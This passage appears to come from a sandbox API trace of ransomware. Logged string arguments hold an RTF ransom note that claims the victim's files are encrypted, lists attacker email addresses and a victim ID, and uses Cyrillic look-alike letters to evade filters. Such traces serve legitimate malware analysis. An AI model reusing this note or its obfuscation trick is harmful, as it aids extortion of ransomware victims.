\\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf 